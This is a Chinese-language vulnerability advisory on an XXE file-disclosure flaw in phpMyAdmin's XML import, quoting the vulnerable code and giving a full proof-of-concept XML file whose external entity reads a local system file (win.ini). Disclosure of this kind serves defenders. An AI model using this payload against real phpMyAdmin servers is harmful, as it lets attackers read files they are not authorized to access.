phpMyAdmin ‘simplexml_load_string()’函数信息泄露漏洞

漏洞起因
输入验证错误
危险等级

 
影响系统
phpMyAdmin 3.x
phpMyAdmin 2.x
 
 
不受影响系统
 
危害
远程攻击者可以利用漏洞读取文件信息。
 
攻击所需条件
攻击者必须访问phpMyAdmin。
 
漏洞信息
phpMyAdmin是一款基于PHP的MySQL管理程序。
PhpMyadmin实现中错误的使用了simplexml_load_string函数用于xml解析,但是该函数中默认并没有处理好外部实体的安全性,导致用户可以借助xml文件读取和访问应用有权限访问的系统和网络资源。
libraries/import/xml.php中:
unset($data);
/**
 * Load the XML string
 *
 * The option LIBXML_COMPACT is specified because it can
 * result in increased performance without the need to
 * alter the code in any way. It’s basically a freebee.
 */
$xml = simplexml_load_string($buffer, “SimpleXMLElement”, LIBXML_COMPACT);
unset($buffer);
/**
 * The XML was malformed
 */
if ($xml === FALSE) {
可以使用系统中的import功能导入一个精心构造的xml文件:
<?xml version=”1.0″ encoding=”utf-8″?>
<!DOCTYPE wooyun [
  <!ENTITY hi80sec SYSTEM “file:///c:/windows/win.ini“>
]>
<!–
– phpMyAdmin XML Dump
– version 3.4.4
– http://www.phpmyadmin.net

– 主机: localhost
– 生成日期: 2011 年 11 月 01 日 14:56
– 服务器版本: 5.1.28
– PHP 版本: 5.2.6
–>
<pma_xml_export version=”1.0″ xmlns:pma=”http://www.phpmyadmin.net/some_doc_url/“>
    <!–
    – Structure schemas
    –>
    <pma:structure_schemas>
        <pma:database name=”test” collation=”utf8_general_ci” charset=”utf8″>
            <pma:table name=”ts_ad”>
                &hi80sec;
            </pma:table>
        </pma:database>
    </pma:structure_schemas>
    <!–
    – 数据库: ‘thinksns’
    –>
    <database name=”thinksns”>
        <!– 表 ts_ad –>
    </database>
</pma_xml_export>
来读写文件,系统错误信息会直接显示出文件内容。
 
测试方法
 
厂商解决方案 
目前没有详细解决方案提供:
http://www.phpmyadmin.net/home_page/index.php
 
漏洞提供者
WooYun

发表评论?

0 条评论。

发表评论